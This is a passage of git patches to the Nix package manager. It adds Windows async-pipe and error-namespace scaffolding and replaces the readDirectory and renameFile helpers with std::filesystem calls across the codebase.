     std::map<DrvOutput, std::weak_ptr<DrvOutputSubstitutionGoal>> drvOutputSubstitutionGoals;
 
@@ -152,10 +169,16 @@ public:
      */
     bool checkMismatch;
 
+#ifdef _WIN32
+    AutoCloseFD ioport;
+#endif
+
     Store & store;
     Store & evalStore;
 
+#ifndef _WIN32 // TODO Enable building on Windows
     std::unique_ptr<HookInstance> hook;
+#endif
 
     uint64_t expectedBuilds = 0;
     uint64_t doneBuilds = 0;
@@ -184,6 +207,7 @@ public:
      * Make a goal (with caching).
      */
 
+#ifndef _WIN32 // TODO Enable building on Windows
     /**
      * @ref DerivationGoal "derivation goal"
      */
@@ -198,6 +222,7 @@ public:
     std::shared_ptr<DerivationGoal> makeBasicDerivationGoal(
         const StorePath & drvPath, const BasicDerivation & drv,
         const OutputsSpec & wantedOutputs, BuildMode buildMode = bmNormal);
+#endif
 
     /**
      * @ref SubstitutionGoal "substitution goal"
@@ -238,7 +263,7 @@ public:
      * Registers a running child process.  `inBuildSlot` means that
      * the process counts towards the jobs limit.
      */
-    void childStarted(GoalPtr goal, const std::set<int> & fds,
+    void childStarted(GoalPtr goal, const std::set<Child::CommChannel> & channels,
         bool inBuildSlot, bool respectTimeouts);
 
     /**
diff --git a/src/libstore/local.mk b/src/libstore/local.mk
index cc67da78659..60174d00982 100644
--- a/src/libstore/local.mk
+++ b/src/libstore/local.mk
@@ -4,7 +4,7 @@ libstore_NAME = libnixstore
 
 libstore_DIR := $(d)
 
-libstore_SOURCES := $(wildcard $(d)/*.cc $(d)/builtins/*.cc)
+libstore_SOURCES := $(wildcard $(d)/*.cc $(d)/builtins/*.cc $(d)/build/*.cc)
 ifdef HOST_UNIX
   libstore_SOURCES += $(wildcard $(d)/unix/*.cc $(d)/unix/builtins/*.cc $(d)/unix/build/*.cc)
 endif
@@ -43,7 +43,7 @@ endif
 
 INCLUDE_libstore := -I $(d) -I $(d)/build
 ifdef HOST_UNIX
-  INCLUDE_libstore += -I $(d)/unix
+  INCLUDE_libstore += -I $(d)/unix -I $(d)/unix/build
 endif
 ifdef HOST_LINUX
   INCLUDE_libstore += -I $(d)/linux
diff --git a/src/libstore/unix/build/derivation-goal.cc b/src/libstore/unix/build/derivation-goal.cc
index 8d6e3501516..00409401522 100644
--- a/src/libstore/unix/build/derivation-goal.cc
+++ b/src/libstore/unix/build/derivation-goal.cc
@@ -1280,7 +1280,7 @@ bool DerivationGoal::isReadDesc(int fd)
     return fd == hook->builderOut.readSide.get();
 }
 
-void DerivationGoal::handleChildOutput(int fd, std::string_view data)
+void DerivationGoal::handleChildOutput(Descriptor fd, std::string_view data)
 {
     // local & `ssh://`-builds are dealt with here.
     auto isWrittenToLog = isReadDesc(fd);
@@ -1347,7 +1347,7 @@ void DerivationGoal::handleChildOutput(int fd, std::string_view data)
 }
 
 
-void DerivationGoal::handleEOF(int fd)
+void DerivationGoal::handleEOF(Descriptor fd)
 {
     if (!currentLogLine.empty()) flushLine();
     worker.wakeUp(shared_from_this());
diff --git a/src/libstore/unix/build/derivation-goal.hh b/src/libstore/unix/build/derivation-goal.hh
index ddb5ee1e34a..be6eb50c418 100644
--- a/src/libstore/unix/build/derivation-goal.hh
+++ b/src/libstore/unix/build/derivation-goal.hh
@@ -2,7 +2,7 @@
 ///@file
 
 #include "parsed-derivations.hh"
-#include "lock.hh"
+#include "user-lock.hh"
 #include "outputs-spec.hh"
 #include "store-api.hh"
 #include "pathlocks.hh"
@@ -292,8 +292,8 @@ struct DerivationGoal : public Goal
     /**
      * Callback used by the worker to write to the log.
      */
-    void handleChildOutput(int fd, std::string_view data) override;
-    void handleEOF(int fd) override;
+    void handleChildOutput(Descriptor fd, std::string_view data) override;
+    void handleEOF(Descriptor fd) override;
     void flushLine();
 
     /**
diff --git a/src/libstore/unix/lock.cc b/src/libstore/unix/user-lock.cc
similarity index 99%
rename from src/libstore/unix/lock.cc
rename to src/libstore/unix/user-lock.cc
index 023c74e349b..8057aa13e1b 100644
--- a/src/libstore/unix/lock.cc
+++ b/src/libstore/unix/user-lock.cc
@@ -1,4 +1,4 @@
-#include "lock.hh"
+#include "user-lock.hh"
 #include "file-system.hh"
 #include "globals.hh"
 #include "pathlocks.hh"
diff --git a/src/libstore/unix/lock.hh b/src/libstore/unix/user-lock.hh
similarity index 100%
rename from src/libstore/unix/lock.hh
rename to src/libstore/unix/user-lock.hh
diff --git a/src/libstore/windows/build.cc b/src/libstore/windows/build.cc
deleted file mode 100644
index 3eadc5bdaf3..00000000000
--- a/src/libstore/windows/build.cc
+++ /dev/null
@@ -1,37 +0,0 @@
-#include "store-api.hh"
-#include "build-result.hh"
-
-namespace nix {
-
-void Store::buildPaths(const std::vector<DerivedPath> & reqs, BuildMode buildMode, std::shared_ptr<Store> evalStore)
-{
-    unsupported("buildPaths");
-}
-
-std::vector<KeyedBuildResult> Store::buildPathsWithResults(
-    const std::vector<DerivedPath> & reqs,
-    BuildMode buildMode,
-    std::shared_ptr<Store> evalStore)
-{
-    unsupported("buildPathsWithResults");
-}
-
-BuildResult Store::buildDerivation(const StorePath & drvPath, const BasicDerivation & drv,
-    BuildMode buildMode)
-{
-    unsupported("buildDerivation");
-}
-
-
-void Store::ensurePath(const StorePath & path)
-{
-    unsupported("ensurePath");
-}
-
-
-void Store::repairPath(const StorePath & path)
-{
-    unsupported("repairPath");
-}
-
-}
diff --git a/src/libstore/windows/pathlocks.cc b/src/libstore/windows/pathlocks.cc
index 738057f68b8..8a4d55e00db 100644
--- a/src/libstore/windows/pathlocks.cc
+++ b/src/libstore/windows/pathlocks.cc
@@ -9,6 +9,8 @@
 
 namespace nix {
 
+using namespace nix::windows;
+
 void deleteLockFile(const Path & path, Descriptor desc)
 {
 
diff --git a/src/libutil/error.hh b/src/libutil/error.hh
index 0419f36d634..87d181c9441 100644
--- a/src/libutil/error.hh
+++ b/src/libutil/error.hh
@@ -206,11 +206,11 @@ MakeError(SystemError, Error);
  *
  * Throw this, but prefer not to catch this, and catch `SystemError`
  * instead. This allows implementations to freely switch between this
- * and `WinError` without breaking catch blocks.
+ * and `windows::WinError` without breaking catch blocks.
  *
  * However, it is permissible to catch this and rethrow so long as
  * certain conditions are not met (e.g. to catch only if `errNo =
- * EFooBar`). In that case, try to also catch the equivalent `WinError`
+ * EFooBar`). In that case, try to also catch the equivalent `windows::WinError`
  * code.
  *
  * @todo Rename this to `PosixError` or similar. At this point Windows
@@ -248,7 +248,9 @@ public:
 };
 
 #ifdef _WIN32
-class WinError;
+namespace windows {
+    class WinError;
+}
 #endif
 
 /**
@@ -258,7 +260,7 @@ class WinError;
  */
 using NativeSysError =
 #ifdef _WIN32
-    WinError
+    windows::WinError
 #else
     SysError
 #endif
diff --git a/src/libutil/serialise.cc b/src/libutil/serialise.cc
index 5ea27ccbed8..36b99905aab 100644
--- a/src/libutil/serialise.cc
+++ b/src/libutil/serialise.cc
@@ -136,7 +136,7 @@ size_t FdSource::readUnbuffered(char * data, size_t len)
     checkInterrupt();
     if (!::ReadFile(fd, data, len, &n, NULL)) {
         _good = false;
-        throw WinError("ReadFile when FdSource::readUnbuffered");
+        throw windows::WinError("ReadFile when FdSource::readUnbuffered");
     }
 #else
     ssize_t n;
diff --git a/src/libutil/windows/file-descriptor.cc b/src/libutil/windows/file-descriptor.cc
index 26f769b6650..b5c21ad322b 100644
--- a/src/libutil/windows/file-descriptor.cc
+++ b/src/libutil/windows/file-descriptor.cc
@@ -14,6 +14,8 @@
 
 namespace nix {
 
+using namespace nix::windows;
+
 std::string readFile(HANDLE handle)
 {
     LARGE_INTEGER li;
diff --git a/src/libutil/windows/users.cc b/src/libutil/windows/users.cc
index 1792ff1a111..db6c42df381 100644
--- a/src/libutil/windows/users.cc
+++ b/src/libutil/windows/users.cc
@@ -9,6 +9,8 @@
 
 namespace nix {
 
+using namespace nix::windows;
+
 std::string getUserName()
 {
     // Get the required buffer size
diff --git a/src/libutil/windows/windows-async-pipe.cc b/src/libutil/windows/windows-async-pipe.cc
new file mode 100644
index 00000000000..7aae603bdb6
--- /dev/null
+++ b/src/libutil/windows/windows-async-pipe.cc
@@ -0,0 +1,43 @@
+#include "windows-async-pipe.hh"
+#include "windows-error.hh"
+
+namespace nix::windows {
+
+void AsyncPipe::createAsyncPipe(HANDLE iocp)
+{
+    // std::cerr << (format("-----AsyncPipe::createAsyncPipe(%x)") % iocp) << std::endl;
+
+    buffer.resize(0x1000);
+    memset(&overlapped, 0, sizeof(overlapped));
+
+    std::string pipeName = fmt("\\\\.\\pipe\\nix-%d-%p", GetCurrentProcessId(), (void *) this);
+
+    readSide = CreateNamedPipeA(
+        pipeName.c_str(), PIPE_ACCESS_INBOUND | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE, PIPE_UNLIMITED_INSTANCES, 0, 0,
+        INFINITE, NULL);
+    if (!readSide)
+        throw WinError("CreateNamedPipeA(%s)", pipeName);
+
+    HANDLE hIocp = CreateIoCompletionPort(readSide.get(), iocp, (ULONG_PTR) (readSide.get()) ^ 0x5555, 0);
+    if (hIocp != iocp)
+        throw WinError("CreateIoCompletionPort(%x[%s], %x, ...) returned %x", readSide.get(), pipeName, iocp, hIocp);
+
+    if (!ConnectNamedPipe(readSide.get(), &overlapped) && GetLastError() != ERROR_IO_PENDING)
+        throw WinError("ConnectNamedPipe(%s)", pipeName);
+
+    SECURITY_ATTRIBUTES psa2 = {0};
+    psa2.nLength = sizeof(SECURITY_ATTRIBUTES);
+    psa2.bInheritHandle = TRUE;
+
+    writeSide = CreateFileA(pipeName.c_str(), GENERIC_WRITE, 0, &psa2, OPEN_EXISTING, 0, NULL);
+    if (!readSide)
+        throw WinError("CreateFileA(%s)", pipeName);
+}
+
+void AsyncPipe::close()
+{
+    readSide.close();
+    writeSide.close();
+}
+
+}
diff --git a/src/libutil/windows/windows-async-pipe.hh b/src/libutil/windows/windows-async-pipe.hh
new file mode 100644
index 00000000000..c980201a84a
--- /dev/null
+++ b/src/libutil/windows/windows-async-pipe.hh
@@ -0,0 +1,20 @@
+#pragma once
+///@file
+
+#include "file-descriptor.hh"
+
+namespace nix::windows {
+
+class AsyncPipe
+{
+public:
+    AutoCloseFD writeSide, readSide;
+    OVERLAPPED overlapped;
+    DWORD got;
+    std::vector<unsigned char> buffer;
+
+    void createAsyncPipe(HANDLE iocp);
+    void close();
+};
+
+}
diff --git a/src/libutil/windows/windows-error.cc b/src/libutil/windows/windows-error.cc
index 26faaae6d21..aead4af2378 100644
--- a/src/libutil/windows/windows-error.cc
+++ b/src/libutil/windows/windows-error.cc
@@ -4,7 +4,7 @@
 #define WIN32_LEAN_AND_MEAN
 #include <windows.h>
 
-namespace nix {
+namespace nix::windows {
 
 std::string WinError::renderError(DWORD lastError)
 {
diff --git a/src/libutil/windows/windows-error.hh b/src/libutil/windows/windows-error.hh
index fdfd0f52c58..624b4c4cb0b 100644
--- a/src/libutil/windows/windows-error.hh
+++ b/src/libutil/windows/windows-error.hh
@@ -5,7 +5,7 @@
 
 #include "error.hh"
 
-namespace nix {
+namespace nix::windows {
 
 /**
  * Windows Error type.

From 1db7d1b8404978c4ae00d6ec5d17eca6821d94f6 Mon Sep 17 00:00:00 2001
From: siddhantCodes <siddhantk232@gmail.com>
Date: Sun, 12 May 2024 17:42:18 +0530
Subject: [PATCH 112/528] inline the usage of `nix::readDirectory`

`nix::readDirectory` is removed. `std::filesystem::directory_iterator`
is used directly in places that used this util.
---
 src/libcmd/repl.cc                             |  2 +-
 src/libstore/builtins/buildenv.cc              |  4 ++--
 src/libstore/gc.cc                             |  4 ++--
 src/libstore/globals.cc                        |  2 +-
 src/libstore/local-binary-cache-store.cc       |  2 +-
 src/libstore/local-store.cc                    |  4 ++--
 src/libstore/posix-fs-canonicalise.cc          |  3 +--
 src/libstore/profiles.cc                       |  2 +-
 src/libstore/unix/builtins/unpack-channel.cc   |  8 +++++---
 src/libutil/file-system.cc                     | 14 --------------
 src/libutil/file-system.hh                     |  6 ------
 src/libutil/linux/cgroup.cc                    |  2 +-
 src/libutil/posix-source-accessor.cc           |  2 +-
 src/libutil/unix/file-descriptor.cc            |  2 +-
 src/nix-collect-garbage/nix-collect-garbage.cc |  2 +-
 src/nix/flake.cc                               |  2 +-
 src/nix/prefetch.cc                            |  7 ++++---
 src/nix/run.cc                                 |  2 +-
 18 files changed, 26 insertions(+), 44 deletions(-)

diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc
index 8a9155ab6d7..a069dd52cb8 100644
--- a/src/libcmd/repl.cc
+++ b/src/libcmd/repl.cc
@@ -259,7 +259,7 @@ StringSet NixRepl::completePrefix(const std::string & prefix)
         try {
             auto dir = std::string(cur, 0, slash);
             auto prefix2 = std::string(cur, slash + 1);
-            for (auto & entry : readDirectory(dir == "" ? "/" : dir)) {
+            for (auto & entry : std::filesystem::directory_iterator{dir == "" ? "/" : dir}) {
                 auto name = entry.path().filename().string();
                 if (name[0] != '.' && hasPrefix(name, prefix2))
                     completions.insert(prev + entry.path().string());
diff --git a/src/libstore/builtins/buildenv.cc b/src/libstore/builtins/buildenv.cc
index 5fcdf6f157f..ab35c861d34 100644
--- a/src/libstore/builtins/buildenv.cc
+++ b/src/libstore/builtins/buildenv.cc
@@ -17,10 +17,10 @@ struct State
 /* For each activated package, create symlinks */
 static void createLinks(State & state, const Path & srcDir, const Path & dstDir, int priority)
 {
-    std::vector<std::filesystem::directory_entry> srcFiles;
+    std::filesystem::directory_iterator srcFiles;
 
     try {
-        srcFiles = readDirectory(srcDir);
+        srcFiles = std::filesystem::directory_iterator{srcDir};
     } catch (std::filesystem::filesystem_error & e) {
         if (e.code() == std::errc::not_a_directory) {
             warn("not including '%s' in the user environment because it's not a directory", srcDir);
diff --git a/src/libstore/gc.cc b/src/libstore/gc.cc
index 3cd4fb839db..59566d01033 100644
--- a/src/libstore/gc.cc
+++ b/src/libstore/gc.cc
@@ -161,7 +161,7 @@ void LocalStore::findTempRoots(Roots & tempRoots, bool censor)
 {
     /* Read the `temproots' directory for per-process temporary root
        files. */
-    for (auto & i : readDirectory(tempRootsDir)) {
+    for (auto & i : std::filesystem::directory_iterator{tempRootsDir}) {
         auto name = i.path().filename().string();
         if (name[0] == '.') {
             // Ignore hidden files. Some package managers (notably portage) create
@@ -228,7 +228,7 @@ void LocalStore::findRoots(const Path & path, std::filesystem::file_type type, R
             type = getFileType(path);
 
         if (type == std::filesystem::file_type::directory) {
-            for (auto & i : readDirectory(path))
+            for (auto & i : std::filesystem::directory_iterator{path})
                 findRoots(i.path().string(), i.symlink_status().type(), roots);
         }
 
diff --git a/src/libstore/globals.cc b/src/libstore/globals.cc
index 4df2880e6d4..d9cab2fb8bf 100644
--- a/src/libstore/globals.cc
+++ b/src/libstore/globals.cc
@@ -345,7 +345,7 @@ void initPlugins()
     for (const auto & pluginFile : settings.pluginFiles.get()) {
         std::vector<std::filesystem::path> pluginFiles;
         try {
-            auto ents = readDirectory(pluginFile);
+            auto ents = std::filesystem::directory_iterator{pluginFile};
             for (const auto & ent : ents)
                 pluginFiles.emplace_back(ent.path());
         } catch (std::filesystem::filesystem_error & e) {
diff --git a/src/libstore/local-binary-cache-store.cc b/src/libstore/local-binary-cache-store.cc
index 3a48f448095..5cd6af41232 100644
--- a/src/libstore/local-binary-cache-store.cc
+++ b/src/libstore/local-binary-cache-store.cc
@@ -83,7 +83,7 @@ class LocalBinaryCacheStore : public virtual LocalBinaryCacheStoreConfig, public
     {
         StorePathSet paths;
 
-        for (auto & entry : readDirectory(binaryCacheDir)) {
+        for (auto & entry : std::filesystem::directory_iterator{binaryCacheDir}) {
             auto name = entry.path().filename().string();
             if (name.size() != 40 ||
                 !hasSuffix(name, ".narinfo"))
diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc
index 800e6930971..106bd9fa15a 100644
--- a/src/libstore/local-store.cc
+++ b/src/libstore/local-store.cc
@@ -1406,7 +1406,7 @@ bool LocalStore::verifyStore(bool checkContents, RepairFlag repair)
 
         printInfo("checking link hashes...");
 
-        for (auto & link : readDirectory(linksDir)) {
+        for (auto & link : std::filesystem::directory_iterator{linksDir}) {
             auto name = link.path().filename();
             printMsg(lvlTalkative, "checking contents of '%s'", name);
             PosixSourceAccessor accessor;
@@ -1498,7 +1498,7 @@ LocalStore::VerificationResult LocalStore::verifyAllValidPaths(RepairFlag repair
        database and the filesystem) in the loop below, in order to catch
        invalid states.
      */
-    for (auto & i : readDirectory(realStoreDir)) {
+    for (auto & i : std::filesystem::directory_iterator{realStoreDir.to_string()}) {
         try {
             storePathsInStoreDir.insert({i.path().filename().string()});
         } catch (BadStorePath &) { }
diff --git a/src/libstore/posix-fs-canonicalise.cc b/src/libstore/posix-fs-canonicalise.cc
index d70ef6faefe..d8bae13f5f9 100644
--- a/src/libstore/posix-fs-canonicalise.cc
+++ b/src/libstore/posix-fs-canonicalise.cc
@@ -144,8 +144,7 @@ static void canonicalisePathMetaData_(
 #endif
 
     if (S_ISDIR(st.st_mode)) {
-        std::vector<std::filesystem::directory_entry> entries = readDirectory(path);
-        for (auto & i : entries)
+        for (auto & i : std::filesystem::directory_iterator{path})
             canonicalisePathMetaData_(
                 i.path().string(),
 #ifndef _WIN32
diff --git a/src/libstore/profiles.cc b/src/libstore/profiles.cc
index fa80267039b..d0da9626213 100644
--- a/src/libstore/profiles.cc
+++ b/src/libstore/profiles.cc
@@ -37,7 +37,7 @@ std::pair<Generations, std::optional<GenerationNumber>> findGenerations(Path pro
     std::filesystem::path profileDir = dirOf(profile);
     auto profileName = std::string(baseNameOf(profile));
 
-    for (auto & i : readDirectory(profileDir.string())) {
+    for (auto & i : std::filesystem::directory_iterator{profileDir}) {
         if (auto n = parseName(profileName, i.path().filename().string())) {
             auto path = i.path().string();
             gens.push_back({
diff --git a/src/libstore/unix/builtins/unpack-channel.cc b/src/libstore/unix/builtins/unpack-channel.cc
index 47bf5d49c0d..c5360414562 100644
--- a/src/libstore/unix/builtins/unpack-channel.cc
+++ b/src/libstore/unix/builtins/unpack-channel.cc
@@ -21,10 +21,12 @@ void builtinUnpackChannel(
 
     unpackTarfile(src, out);
 
-    auto entries = readDirectory(out);
-    if (entries.size() != 1)
+    auto entries = std::filesystem::directory_iterator{out};
+    auto file_count = std::distance(entries, std::filesystem::directory_iterator{});
+
+    if (file_count != 1)
         throw Error("channel tarball '%s' contains more than one file", src);
-    renameFile(entries[0].path().string(), (out + "/" + channelName));
+    renameFile(entries->path().string(), (out + "/" + channelName));
 }
 
 }
diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc
index 39efa19fe40..7032ecdf7f1 100644
--- a/src/libutil/file-system.cc
+++ b/src/libutil/file-system.cc
@@ -222,20 +222,6 @@ Path readLink(const Path & path)
 }
 
 
-std::vector<fs::directory_entry> readDirectory(const Path & path)
-{
-    std::vector<fs::directory_entry> entries;
-    entries.reserve(64);
-
-    for (auto & entry : fs::directory_iterator{path}) {
-        checkInterrupt();
-        entries.push_back(std::move(entry));
-    }
-
-    return entries;
-}
-
-
 fs::file_type getFileType(const Path & path)
 {
     return fs::symlink_status(path).type();
diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh
index 4536accc379..73150239a42 100644
--- a/src/libutil/file-system.hh
+++ b/src/libutil/file-system.hh
@@ -122,12 +122,6 @@ Path readLink(const Path & path);
  */
 Descriptor openDirectory(const std::filesystem::path & path);
 
-/**
- * Read the contents of a directory.  The entries `.` and `..` are
- * removed.
- */
-std::vector<std::filesystem::directory_entry> readDirectory(const Path & path);
-
 std::filesystem::file_type getFileType(const Path & path);
 
 /**
diff --git a/src/libutil/linux/cgroup.cc b/src/libutil/linux/cgroup.cc
index 619ef7764ae..ec407747813 100644
--- a/src/libutil/linux/cgroup.cc
+++ b/src/libutil/linux/cgroup.cc
@@ -64,7 +64,7 @@ static CgroupStats destroyCgroup(const std::filesystem::path & cgroup, bool retu
 
     /* Otherwise, manually kill every process in the subcgroups and
        this cgroup. */
-    for (auto & entry : readDirectory(cgroup)) {
+    for (auto & entry : std::filesystem::directory_iterator{cgroup}) {
         if (entry.symlink_status().type() != std::filesystem::file_type::directory) continue;
         destroyCgroup(cgroup / entry.path().filename(), false);
     }
diff --git a/src/libutil/posix-source-accessor.cc b/src/libutil/posix-source-accessor.cc
index aa13f4c56b8..225fc852caf 100644
--- a/src/libutil/posix-source-accessor.cc
+++ b/src/libutil/posix-source-accessor.cc
@@ -132,7 +132,7 @@ SourceAccessor::DirEntries PosixSourceAccessor::readDirectory(const CanonPath &
 {
     assertNoSymlinks(path);
     DirEntries res;
-    for (auto & entry : nix::readDirectory(makeAbsPath(path).string())) {
+    for (auto & entry : std::filesystem::directory_iterator{makeAbsPath(path)}) {
         auto type = [&]() -> std::optional<Type> {
             std::filesystem::file_type nativeType;
             try {
diff --git a/src/libutil/unix/file-descriptor.cc b/src/libutil/unix/file-descriptor.cc
index 222d077e511..84a33af8181 100644
--- a/src/libutil/unix/file-descriptor.cc
+++ b/src/libutil/unix/file-descriptor.cc
@@ -124,7 +124,7 @@ void closeMostFDs(const std::set<int> & exceptions)
 {
 #if __linux__
     try {
-        for (auto & s : readDirectory("/proc/self/fd")) {
+        for (auto & s : std::filesystem::directory_iterator{"/proc/self/fd"}) {
             auto fd = std::stoi(s.path().filename());
             if (!exceptions.count(fd)) {
                 debug("closing leaked FD %d", fd);
diff --git a/src/nix-collect-garbage/nix-collect-garbage.cc b/src/nix-collect-garbage/nix-collect-garbage.cc
index 02a3a4b8343..91209c97898 100644
--- a/src/nix-collect-garbage/nix-collect-garbage.cc
+++ b/src/nix-collect-garbage/nix-collect-garbage.cc
@@ -27,7 +27,7 @@ void removeOldGenerations(std::string dir)
 
     bool canWrite = access(dir.c_str(), W_OK) == 0;
 
-    for (auto & i : readDirectory(dir)) {
+    for (auto & i : std::filesystem::directory_iterator{dir}) {
         checkInterrupt();
 
         auto path = i.path().string();
diff --git a/src/nix/flake.cc b/src/nix/flake.cc
index 9c1888aa05f..78a8a55c33c 100644
--- a/src/nix/flake.cc
+++ b/src/nix/flake.cc
@@ -866,7 +866,7 @@ struct CmdFlakeInitCommon : virtual Args, EvalCommand
         {
             createDirs(to);
 
-            for (auto & entry : readDirectory(from)) {
+            for (auto & entry : std::filesystem::directory_iterator{from}) {
                 auto from2 = entry.path().string();
                 auto to2 = to + "/" + entry.path().filename().string();
                 auto st = lstat(from2);
diff --git a/src/nix/prefetch.cc b/src/nix/prefetch.cc
index e932170cf73..3ce52acc563 100644
--- a/src/nix/prefetch.cc
+++ b/src/nix/prefetch.cc
@@ -115,9 +115,10 @@ std::tuple<StorePath, Hash> prefetchFile(
 
             /* If the archive unpacks to a single file/directory, then use
                that as the top-level. */
-            auto entries = readDirectory(unpacked);
-            if (entries.size() == 1)
-                tmpFile = entries[0].path();
+            auto entries = std::filesystem::directory_iterator{unpacked};
+            auto file_count = std::distance(entries, std::filesystem::directory_iterator{});
+            if (file_count == 1)
+                tmpFile = entries->path();
             else
                 tmpFile = unpacked;
         }
diff --git a/src/nix/run.cc b/src/nix/run.cc
index 9c559bdf695..cc999ddf4f4 100644
--- a/src/nix/run.cc
+++ b/src/nix/run.cc
@@ -248,7 +248,7 @@ void chrootHelper(int argc, char * * argv)
         if (mount(realStoreDir.c_str(), (tmpDir + storeDir).c_str(), "", MS_BIND, 0) == -1)
             throw SysError("mounting '%s' on '%s'", realStoreDir, storeDir);
 
-        for (auto entry : readDirectory("/")) {
+        for (auto entry : std::filesystem::directory_iterator{"/"}) {
             auto src = entry.path().string();
             Path dst = tmpDir + "/" + entry.path().filename().string();
             if (pathExists(dst)) continue;

From 45376637404bbb971fc09e80fe3f7d924cb152ef Mon Sep 17 00:00:00 2001
From: siddhantCodes <siddhantk232@gmail.com>
Date: Sun, 12 May 2024 18:40:16 +0530
Subject: [PATCH 113/528] inline the usage of `nix::renameFile`

use `std::filesystem::rename` everywhere and remove `nix::renameFile`
---
 src/libstore/indirect-root-store.cc              |  2 +-
 src/libstore/local-binary-cache-store.cc         |  2 +-
 src/libstore/local-store.cc                      |  2 +-
 src/libstore/unix/build/derivation-goal.cc       |  2 +-
 src/libstore/unix/build/local-derivation-goal.cc |  6 +++---
 src/libstore/unix/builtins/unpack-channel.cc     |  2 +-
 src/libutil/file-system.cc                       | 11 +++--------
 src/libutil/file-system.hh                       |  2 --
 8 files changed, 11 insertions(+), 18 deletions(-)

diff --git a/src/libstore/indirect-root-store.cc b/src/libstore/indirect-root-store.cc
index 082a458ab1a..844d0d6edad 100644
--- a/src/libstore/indirect-root-store.cc
+++ b/src/libstore/indirect-root-store.cc
@@ -12,7 +12,7 @@ void IndirectRootStore::makeSymlink(const Path & link, const Path & target)
     createSymlink(target, tempLink);
 
     /* Atomically replace the old one. */
-    renameFile(tempLink, link);
+    std::filesystem::rename(tempLink, link);
 }
 
 Path IndirectRootStore::addPermRoot(const StorePath & storePath, const Path & _gcRoot)
diff --git a/src/libstore/local-binary-cache-store.cc b/src/libstore/local-binary-cache-store.cc
index 3a48f448095..6743c633e6a 100644
--- a/src/libstore/local-binary-cache-store.cc
+++ b/src/libstore/local-binary-cache-store.cc
@@ -64,7 +64,7 @@ class LocalBinaryCacheStore : public virtual LocalBinaryCacheStoreConfig, public
         AutoDelete del(tmp, false);
         StreamToSourceAdapter source(istream);
         writeFile(tmp, source);
-        renameFile(tmp, path2);
+        std::filesystem::rename(tmp, path2);
         del.cancel();
     }
 
diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc
index 800e6930971..1f31f9bd853 100644
--- a/src/libstore/local-store.cc
+++ b/src/libstore/local-store.cc
@@ -1779,7 +1779,7 @@ void LocalStore::addBuildLog(const StorePath & drvPath, std::string_view log)
 
     writeFile(tmpFile, compress("bzip2", log));
 
-    renameFile(tmpFile, logPath);
+    std::filesystem::rename(tmpFile, logPath);
 }
 
 std::optional<std::string> LocalStore::getVersion()
diff --git a/src/libstore/unix/build/derivation-goal.cc b/src/libstore/unix/build/derivation-goal.cc
index 8d6e3501516..89518b05553 100644
--- a/src/libstore/unix/build/derivation-goal.cc
+++ b/src/libstore/unix/build/derivation-goal.cc
@@ -783,7 +783,7 @@ static void movePath(const Path & src, const Path & dst)
     if (changePerm)
         chmod_(src, st.st_mode | S_IWUSR);
 
-    renameFile(src, dst);
+    std::filesystem::rename(src, dst);
 
     if (changePerm)
         chmod_(dst, st.st_mode);
diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc
index 3b010350d89..331794292aa 100644
--- a/src/libstore/unix/build/local-derivation-goal.cc
+++ b/src/libstore/unix/build/local-derivation-goal.cc
@@ -285,7 +285,7 @@ static void movePath(const Path & src, const Path & dst)
     if (changePerm)
         chmod_(src, st.st_mode | S_IWUSR);
 
-    renameFile(src, dst);
+    std::filesystem::rename(src, dst);
 
     if (changePerm)
         chmod_(dst, st.st_mode);
@@ -372,7 +372,7 @@ bool LocalDerivationGoal::cleanupDecideWhetherDiskFull()
             if (buildMode != bmCheck && status.known->isValid()) continue;
             auto p = worker.store.toRealPath(status.known->path);
             if (pathExists(chrootRootDir + p))
-                renameFile((chrootRootDir + p), p);
+                std::filesystem::rename((chrootRootDir + p), p);
         }
 
     return diskFull;
@@ -2569,7 +2569,7 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
                 // that there's no stale file descriptor pointing to it
                 Path tmpOutput = actualPath + ".tmp";
                 copyFile(actualPath, tmpOutput, true);
-                renameFile(tmpOutput, actualPath);
+                std::filesystem::rename(tmpOutput, actualPath);
 
                 auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating {
                     .method = dof.ca.method,
diff --git a/src/libstore/unix/builtins/unpack-channel.cc b/src/libstore/unix/builtins/unpack-channel.cc
index 47bf5d49c0d..bdc724a70ce 100644
--- a/src/libstore/unix/builtins/unpack-channel.cc
+++ b/src/libstore/unix/builtins/unpack-channel.cc
@@ -24,7 +24,7 @@ void builtinUnpackChannel(
     auto entries = readDirectory(out);
     if (entries.size() != 1)
         throw Error("channel tarball '%s' contains more than one file", src);
-    renameFile(entries[0].path().string(), (out + "/" + channelName));
+    std::filesystem::rename(entries[0].path().string(), (out + "/" + channelName));
 }
 
 }
diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc
index 39efa19fe40..b9f96b88f1e 100644
--- a/src/libutil/file-system.cc
+++ b/src/libutil/file-system.cc
@@ -588,7 +588,7 @@ void replaceSymlink(const Path & target, const Path & link)
             throw;
         }
 
-        renameFile(tmp, link);
+        std::filesystem::rename(tmp, link);
 
         break;
     }
@@ -651,15 +651,10 @@ void copyFile(const Path & oldPath, const Path & newPath, bool andDelete)
     return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete);
 }
 
-void renameFile(const Path & oldName, const Path & newName)
-{
-    fs::rename(oldName, newName);
-}
-
 void moveFile(const Path & oldName, const Path & newName)
 {
     try {
-        renameFile(oldName, newName);
+        std::filesystem::rename(oldName, newName);
     } catch (fs::filesystem_error & e) {
         auto oldPath = fs::path(oldName);
         auto newPath = fs::path(newName);
@@ -674,7 +669,7 @@ void moveFile(const Path & oldName, const Path & newName)
             fs::remove(newPath);
             warn("Can’t rename %s as %s, copying instead", oldName, newName);
             copy(fs::directory_entry(oldPath), tempCopyTarget, true);
-            renameFile(
+            std::filesystem::rename(
                 os_string_to_string(PathViewNG { tempCopyTarget }),
                 os_string_to_string(PathViewNG { newPath }));
         }
diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh
index 4536accc379..9f3db05c30d 100644
--- a/src/libutil/file-system.hh
+++ b/src/libutil/file-system.hh
@@ -177,8 +177,6 @@ void createSymlink(const Path & target, const Path & link);
  */
